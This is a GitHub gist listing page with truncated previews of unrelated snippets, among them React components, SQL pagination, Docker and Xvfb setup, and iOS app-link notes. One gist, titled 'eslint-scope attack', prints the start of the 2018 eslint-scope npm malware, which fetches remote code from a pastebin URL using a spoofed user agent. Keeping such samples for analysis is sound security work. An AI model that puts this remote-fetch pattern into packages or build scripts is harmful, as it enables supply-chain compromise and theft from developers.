Skip to content

Instantly share code, notes, and snippets.

View albinekb's full-sized avatar
🤖
AgentAgentAgentAgentAgent

Albin Ekblom albinekb

🤖
AgentAgentAgentAgentAgent
View GitHub Profile
import * as React from "react";
import { useMousePosition } from "~/hooks/useMousePosition";
/** Component to cover the area between the mouse cursor and the sub-menu, to allow moving cursor to lower parts of sub-menu without the sub-menu disappearing. */
export function MouseSafeArea(props: { parentRef: React.RefObject<HTMLDivElement> }) {
const { x = 0, y = 0, height: h = 0, width: w = 0 } = props.parentRef.current?.getBoundingClientRect() || {};
const [mouseX, mouseY] = useMousePosition();
const positions = { x, y, h, w, mouseX, mouseY };
return (
<div
@Swapnull
Swapnull / CodeOutput.jsx
Last active November 28, 2020 18:57
Code Ouput for docz
// @flow
import React from 'react';
import SyntaxHighlighter from 'react-syntax-highlighter/prism';
import { dark } from 'react-syntax-highlighter/styles/prism';
import { renderToStaticMarkup } from 'react-dom/server';
import pretty from 'pretty';
import jsxToString from 'jsx-to-string';
type Props = { children: any, showReact?: boolean, showHTML?: boolean, showIcon?: boolean };
type State = { active: number };
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@pcattori
pcattori / gist:2bb645d587e45c9fdbcabf5cef7a7106
Last active February 20, 2022 00:01
relay-style cursor-based pagination capable of filtering/sorting for SQL
import { Base64 } from 'js-base64'
import { Op } from 'sequelize'
import { fromGlobalId } from 'graphql-relay'
// https://github.com/graphql/graphql-relay-js/issues/94#issuecomment-232410564
const effectiveOrder = ({ last }, orderBy) => {
/* adds `id ASC` to end of `ORDER BY` if `id` is not already in the `ORDER BY` clause
flips `ASC` to `DESC` (and vice-versa) if pagination arg `last` is defined
*/
@Tarabyte
Tarabyte / getRaven.js
Created December 22, 2017 21:05
Get correct sentry client in next.js app w/o custom webpack config
// @see package.json#browser field
const Raven = require('raven')
if (process.env.NODE_ENV === 'production') {
Raven.config('YOUR_SENTRY_DSN').install()
}
module.exports = Raven
@eduardoromero
eduardoromero / start-services.sh
Created May 2, 2017 18:39
Starting Xvfb with start-services.sh
#!/usr/bin/env bash
set -e
# Start Xvfb
Xvfb -ac -screen scrn 1280x800x24 :9.0 &
export DISPLAY=:9.0
exec "$@"
@eduardoromero
eduardoromero / Dockerfile
Created May 2, 2017 18:38
Dockerfile for Node 7 with xvfb
FROM node:7
RUN apt-get update &&\
apt-get install -y libgtk2.0-0 libgconf-2-4 \
libasound2 libxtst6 libxss1 libnss3 xvfb
# Exposing port 5000 (micro)
EXPOSE 5000
WORKDIR /app

Intercom user_hash

Remember that your secret key should never be exposed to the public

  • So Javascript code below should only be used for testing unless modified and used to run on a server
@mat
mat / Readme.markdown
Last active February 19, 2024 07:46
apple-app-site-association —with examples

“apple-app-site-association” file

One file for each domain, both www.example.com and example.com need separate files:

{
    "applinks": {
        "apps": [],
        "details": {
 "9JA89QQLNQ.com.apple.wwdc": {
@sebmarkbage
sebmarkbage / Enhance.js
Last active January 31, 2024 18:33
Higher-order Components
import { Component } from "React";
export var Enhance = ComposedComponent => class extends Component {
constructor() {
this.state = { data: null };
}
componentDidMount() {
this.setState({ data: 'Hello' });
}
render() {